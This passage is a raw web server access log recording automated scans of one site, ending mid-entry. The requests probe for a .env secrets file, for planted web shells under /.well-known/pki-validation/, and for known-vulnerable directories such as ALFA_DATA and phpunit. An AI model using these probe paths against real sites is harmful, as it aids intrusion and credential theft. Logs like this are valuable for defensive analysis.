40.123.25.223 - - [17/Apr/2025:14:56:01 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:56:02 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 84.239.48.142 - - [17/Apr/2025:16:54:13 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 162.0.232.217 - - [17/Apr/2025:17:22:04 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:22:08 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:22:14 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:22:48 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:22:58 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:11 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:21 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:26 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:33 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:34 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:40 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:46 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:23:58 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:24:21 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:17:24:23 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 43.165.69.68 - - [17/Apr/2025:17:25:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.235.24.83 - - [17/Apr/2025:17:40:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 20.14.154.215 - - [17/Apr/2025:17:44:07 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:08 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:09 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:09 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:10 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:10 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:11 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:11 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:11 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:17:44:12 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 195.191.219.131 - - [17/Apr/2025:17:46:46 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [17/Apr/2025:17:46:47 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [17/Apr/2025:17:46:48 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 51.141.83.21 - - [17/Apr/2025:17:50:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0" 51.141.83.21 - - [17/Apr/2025:17:50:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0" 49.7.227.204 - - [17/Apr/2025:19:28:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.102.138 - - [17/Apr/2025:19:31:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.85.247.161 - - [17/Apr/2025:19:59:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 52.169.80.32 - - [17/Apr/2025:21:04:03 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:04 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:04 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:04 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:05 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:05 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:06 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:06 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:06 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:07 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:07 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:08 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:08 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:08 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:09 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:09 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:10 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:10 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:10 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:11 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:11 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:12 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:12 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:12 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:13 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:13 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:13 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:14 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:14 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:14 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:15 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:15 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:16 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:16 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:16 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:17 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:17 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:17 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:18 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:18 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:18 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:19 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:19 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:20 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:20 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:20 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:21 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:21 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:21 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:22 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:22 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:22 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:23 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:23 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:23 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:24 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:24 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:24 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:25 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:25 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:25 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:26 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:26 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:26 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:27 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:27 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:27 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:28 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:28 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:28 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:29 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:29 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:29 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:30 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:30 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:30 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:31 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:31 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:32 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:32 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:32 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:33 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:33 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:33 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:34 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:34 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:34 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:35 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:35 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:35 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:36 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:36 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:36 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:37 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:37 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:37 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:38 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:38 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:38 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:39 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:39 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:39 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:40 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:40 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:40 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:41 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:41 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:41 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:42 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:42 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:42 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:43 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:43 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:43 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:44 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:44 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:44 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:45 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:45 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:45 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:46 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:46 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:46 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:47 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:47 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:47 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:48 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:48 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.80.32 - - [17/Apr/2025:21:04:48 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 35.162.180.170 - - [17/Apr/2025:21:30:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 35.94.197.56 - - [17/Apr/2025:21:58:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 92.204.175.84 - - [17/Apr/2025:22:19:57 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 46.246.8.138 - - [17/Apr/2025:22:22:05 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 52.169.85.7 - - [17/Apr/2025:22:35:34 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:36 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:36 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:37 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:37 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:38 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:39 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:39 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:40 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:40 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:41 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:42 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:42 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:43 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:43 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:44 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:44 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:45 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:46 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:46 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:47 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:47 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:48 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:49 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:49 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:50 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:51 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:51 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:52 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:52 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:53 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" 